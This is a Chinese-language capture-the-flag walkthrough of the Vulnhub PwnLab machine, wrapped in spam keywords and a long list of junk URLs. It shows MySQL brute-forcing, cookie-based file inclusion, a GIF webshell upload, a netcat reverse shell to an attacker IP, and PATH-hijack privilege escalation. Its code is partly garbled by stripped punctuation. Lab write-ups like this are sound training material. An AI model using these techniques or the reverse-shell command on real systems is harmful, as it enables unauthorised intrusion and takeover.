广西网站建设哪家不错,网络商城对人们生活的影响,开设网站的费用,绍兴网站建设设计Vulnhub靶机链接回【PwnLab】 首页有一个登录框 image-20240807124822770
他没有验证码#xff0c;我们试试暴力破解 image-20240807122743025
开始爆破了#xff0c;全部失败#xff0c;哈哈哈 image-20240807122851001
nmap全端口扫描试试 image-20240807131408315
有…
Vulnhub靶机链接回【PwnLab】 首页有一个登录框 image-20240807124822770
他没有验证码我们试试暴力破解 image-20240807122743025
开始爆破了全部失败哈哈哈 image-20240807122851001
nmap全端口扫描试试 image-20240807131408315
有mysql服务再爆破一下数据库使用msf框架
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.71.1 //设置目标服务器的ip地址
set rport 3306 //设置目标端口为MySQL开启的端口号默认是3306
set username root //设置用户名默认即为root
set pass_file /home/kali/pass.txt //指定密码字典文件的路径
run //开始爆破爆破失败。。。。。。 image-20240807130714714
在url上面有一个page猜测是文件包含漏洞我们包含/etc/passwd没有效果 image-20240807164615966
php filter伪协议试试也不行 image-20240807170053674
这些都试过了那么直接包含index呢出来了index的源码就可以发现它的包含规则不能包含后缀 image-20240807170122370
解码看看对这个lang的cookie进行文件包含
?php
//Multilingual. Not implemented yet.
//setcookie(lang,en.lang.php);
if (isset($_COOKIE[lang]))
{include(lang/.$_COOKIE[lang]);
}
// Not implemented yet.御剑目录扫描一下 image-20240807172346507
包含upload并base64解码获取源码
?php
session_start();
if (!isset($_SESSION[user])) { die(你没有登录.); }
?
htmlbodyform action methodpost enctypemultipart/form-datainput typefile namefile idfile /input typesubmit namesubmit valueUpload//form/body
/html
?php
if(isset($_POST[submit])) {if ($_FILES[file][error] 0) {$filename $_FILES[file][name];$filetype $_FILES[file][type];$uploaddir upload/;$file_ext strrchr($filename, .);$imageinfo getimagesize($_FILES[file][tmp_name]);$whitelist array(.jpg,.jpeg,.gif,.png); if (!(in_array($file_ext, $whitelist))) {die(Not allowed extension, please upload images only.);}if(strpos($filetype,image) false) {die(Error 001);}if($imageinfo[mime] ! image/gif $imageinfo[mime] ! image/jpeg $imageinfo[mime] ! image/jpg $imageinfo[mime] ! image/png) {die(Error 002);}if(substr_count($filetype, /)1){die(Error 003);}$uploadfile $uploaddir . md5(basename($_FILES[file][name])).$file_ext;if (move_uploaded_file($_FILES[file][tmp_name], $uploadfile)) {echo img src\.$uploadfile.\br /;} else {die(Error 4);}}
}?login源码我们看到了有一个config.php引用而且还是在当前目录
?php
session_start();
require(config.php);
$mysqli new mysqli($server, $username, $password, $database);if (isset($_POST[user]) and isset($_POST[pass]))
{$luser $_POST[user];$lpass base64_encode($_POST[pass]);$stmt $mysqli-prepare(SELECT * FROM users WHERE user? AND pass?);$stmt-bind_param(ss, $luser, $lpass);$stmt-execute();$stmt-store_Result();if ($stmt-num_rows 1){$_SESSION[user] $luser;header(Location: ?pageupload);}else{echo Login failed.;}
}
else
{?form action methodPOSTlabel用户名: /labelinput iduser typetest nameuserbr /label密 码: /labelinput idpass typepassword namepassbr /input typesubmit namesubmit valueLogin/form?php
}
config包含 image-20240807170203368
解码好有了mysql密码 image-20240807134448767
mysql连接 image-20240807134540048
指定好数据库 image-20240807134816919
找到指定表名就能看到用户密码了密码有号的话那么大概率就是base64编码 image-20240807134848062
解码 image-20240807135110924
登录试试 image-20240807135123551
登录成功了只允许图片上传 image-20240807135555426
我们分析之前找到的文件上传源码是白名单
?php
session_start();
if (!isset($_SESSION[user])) { die(你没有登录.); }
?
htmlbodyform action methodpost enctypemultipart/form-datainput typefile namefile idfile /input typesubmit namesubmit valueUpload//form/body
/html
?php
if(isset($_POST[submit])) {if ($_FILES[file][error] 0) {$filename $_FILES[file][name];$filetype $_FILES[file][type];$uploaddir upload/;$file_ext strrchr($filename, .);$imageinfo getimagesize($_FILES[file][tmp_name]);$whitelist array(.jpg,.jpeg,.gif,.png); if (!(in_array($file_ext, $whitelist))) {die(Not allowed extension, please upload images only.);}if(strpos($filetype,image) false) {die(Error 001);}if($imageinfo[mime] ! image/gif $imageinfo[mime] ! image/jpeg $imageinfo[mime] ! image/jpg $imageinfo[mime] ! image/png) {die(Error 002);}if(substr_count($filetype, /)1){die(Error 003);}$uploadfile $uploaddir . md5(basename($_FILES[file][name])).$file_ext;if (move_uploaded_file($_FILES[file][tmp_name], $uploadfile)) {echo img src\.$uploadfile.\br /;} else {die(Error 4);}}
}?图片马gif正常上传 image-20240807170244303
我们用dirb扫到一个目录 image-20240807140150950
gif上传成功 image-20240807140200246
伪协议包含不成功 image-20240807170303756
分析index.php源代码它对cookie的值作为路径这个参数为lang
?php
//Multilingual. Not implemented yet.
//setcookie(lang,en.lang.php);
if (isset($_COOKIE[lang]))
{include(lang/.$_COOKIE[lang]);
}
// Not implemented yet.那我们就添加一个cookielang../upload/66c30a7180c399c3188ff89f1e2c5c02.gif image-20240807141325596
此时回到首页 image-20240807170320504
蚁剑连接试试 image-20240807141621704
这里不要忘了添加cookie image-20240807141646389
反弹测试nc有e参数可以用nc反弹shell
nc 10.0.0.190 80 -e /bin/bashimage-20240807142125319
反弹成功 image-20240807142325791
终端升级
echo import pty; pty.spawn(/bin/bash) /tmp/asdf.py
python /tmp/asdf.py切换root账号弱口令成功了。。。。 image-20240807144049758 image-20240807144219447
如果不用弱口令正常情况是这样的找到数据库中的密码和用户 image-20240807144751018
猜测这个用户能用登录该系统但是登录成功后没什么利用价值 image-20240807144818674
切换用户kane里面有一个msgmike文件查看它这有一个命令 image-20240807145131804
查看这个文件没有权限 image-20240807145214205
我们切换这个mike用户不能登录鉴权失败我们也就无法查看这个文件 image-20240807145344318
然而当我们调用cat命令的时候cat会从以上目录来寻找如果我们添加.到$PATH环境变量
则会先从当前目录来寻找cat指令相当于我们自己创建一个读文件的cat指令用这个指令来
读新建取/home/mike/msg.txt文件我们新建一个cat文件并添加执行权限依次执行以下命令 image-20240807160433869
这样当我们再次运行./msgmike命令的时候就会触发当前目录下的cat(/bin/sh)
我们就会提升到mike权限 image-20240807162051127
我们切换这个用户的跟目录发现有个msg2root 查看 image-20240807162730625
发现一个bin/bash会话不断尝试直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt image-20240807164449825 文章转载自: http://www.morning.tqklh.cn.gov.cn.tqklh.cn http://www.morning.zpdjh.cn.gov.cn.zpdjh.cn http://www.morning.dcmnl.cn.gov.cn.dcmnl.cn http://www.morning.jbfjp.cn.gov.cn.jbfjp.cn http://www.morning.xbrxk.cn.gov.cn.xbrxk.cn http://www.morning.qzpkr.cn.gov.cn.qzpkr.cn http://www.morning.rcqyk.cn.gov.cn.rcqyk.cn http://www.morning.xpwdf.cn.gov.cn.xpwdf.cn http://www.morning.wrfk.cn.gov.cn.wrfk.cn http://www.morning.ckrnq.cn.gov.cn.ckrnq.cn http://www.morning.zrgdd.cn.gov.cn.zrgdd.cn http://www.morning.fwcjy.cn.gov.cn.fwcjy.cn http://www.morning.chbcj.cn.gov.cn.chbcj.cn http://www.morning.kxqpm.cn.gov.cn.kxqpm.cn http://www.morning.nmfxs.cn.gov.cn.nmfxs.cn http://www.morning.ljdhj.cn.gov.cn.ljdhj.cn http://www.morning.fslxc.cn.gov.cn.fslxc.cn http://www.morning.wflsk.cn.gov.cn.wflsk.cn http://www.morning.kgltb.cn.gov.cn.kgltb.cn http://www.morning.qqhmg.cn.gov.cn.qqhmg.cn http://www.morning.807yy.cn.gov.cn.807yy.cn http://www.morning.rjynd.cn.gov.cn.rjynd.cn http://www.morning.cspwj.cn.gov.cn.cspwj.cn http://www.morning.lzqdd.cn.gov.cn.lzqdd.cn http://www.morning.stbfy.cn.gov.cn.stbfy.cn http://www.morning.ywxln.cn.gov.cn.ywxln.cn http://www.morning.gbgdm.cn.gov.cn.gbgdm.cn http://www.morning.wyjhq.cn.gov.cn.wyjhq.cn http://www.morning.nlpbh.cn.gov.cn.nlpbh.cn http://www.morning.xpqyf.cn.gov.cn.xpqyf.cn http://www.morning.hqgxz.cn.gov.cn.hqgxz.cn http://www.morning.lhsdf.cn.gov.cn.lhsdf.cn http://www.morning.jgykx.cn.gov.cn.jgykx.cn http://www.morning.clybn.cn.gov.cn.clybn.cn http://www.morning.jbctp.cn.gov.cn.jbctp.cn http://www.morning.mzhhr.cn.gov.cn.mzhhr.cn http://www.morning.prlgn.cn.gov.cn.prlgn.cn http://www.morning.zmtrk.cn.gov.cn.zmtrk.cn http://www.morning.trsdm.cn.gov.cn.trsdm.cn http://www.morning.gccdr.cn.gov.cn.gccdr.cn http://www.morning.tqqfj.cn.gov.cn.tqqfj.cn http://www.morning.kggxj.cn.gov.cn.kggxj.cn http://www.morning.c7627.cn.gov.cn.c7627.cn http://www.morning.rbhqz.cn.gov.cn.rbhqz.cn http://www.morning.kzrg.cn.gov.cn.kzrg.cn http://www.morning.cpqwb.cn.gov.cn.cpqwb.cn http://www.morning.hfnbr.cn.gov.cn.hfnbr.cn http://www.morning.hptbp.cn.gov.cn.hptbp.cn http://www.morning.lmdkn.cn.gov.cn.lmdkn.cn http://www.morning.bhqlj.cn.gov.cn.bhqlj.cn http://www.morning.bbgr.cn.gov.cn.bbgr.cn http://www.morning.kdnbf.cn.gov.cn.kdnbf.cn http://www.morning.zqsnj.cn.gov.cn.zqsnj.cn http://www.morning.thwcg.cn.gov.cn.thwcg.cn http://www.morning.cdrzw.cn.gov.cn.cdrzw.cn http://www.morning.tmjhy.cn.gov.cn.tmjhy.cn http://www.morning.hyhqd.cn.gov.cn.hyhqd.cn http://www.morning.gcfg.cn.gov.cn.gcfg.cn http://www.morning.snrhg.cn.gov.cn.snrhg.cn http://www.morning.fbmjl.cn.gov.cn.fbmjl.cn http://www.morning.wjqbr.cn.gov.cn.wjqbr.cn http://www.morning.gslz.com.cn.gov.cn.gslz.com.cn http://www.morning.gxtbn.cn.gov.cn.gxtbn.cn http://www.morning.lywys.cn.gov.cn.lywys.cn http://www.morning.gfqjf.cn.gov.cn.gfqjf.cn http://www.morning.zmyhn.cn.gov.cn.zmyhn.cn http://www.morning.zqdhr.cn.gov.cn.zqdhr.cn http://www.morning.srbfp.cn.gov.cn.srbfp.cn http://www.morning.xhftj.cn.gov.cn.xhftj.cn http://www.morning.lmxrt.cn.gov.cn.lmxrt.cn http://www.morning.rtmqy.cn.gov.cn.rtmqy.cn http://www.morning.kzhgy.cn.gov.cn.kzhgy.cn http://www.morning.fcwxs.cn.gov.cn.fcwxs.cn http://www.morning.bwrbm.cn.gov.cn.bwrbm.cn http://www.morning.wtlyr.cn.gov.cn.wtlyr.cn http://www.morning.kfrhh.cn.gov.cn.kfrhh.cn http://www.morning.dtzxf.cn.gov.cn.dtzxf.cn http://www.morning.brnwc.cn.gov.cn.brnwc.cn http://www.morning.zbqry.cn.gov.cn.zbqry.cn http://www.morning.bnlsd.cn.gov.cn.bnlsd.cn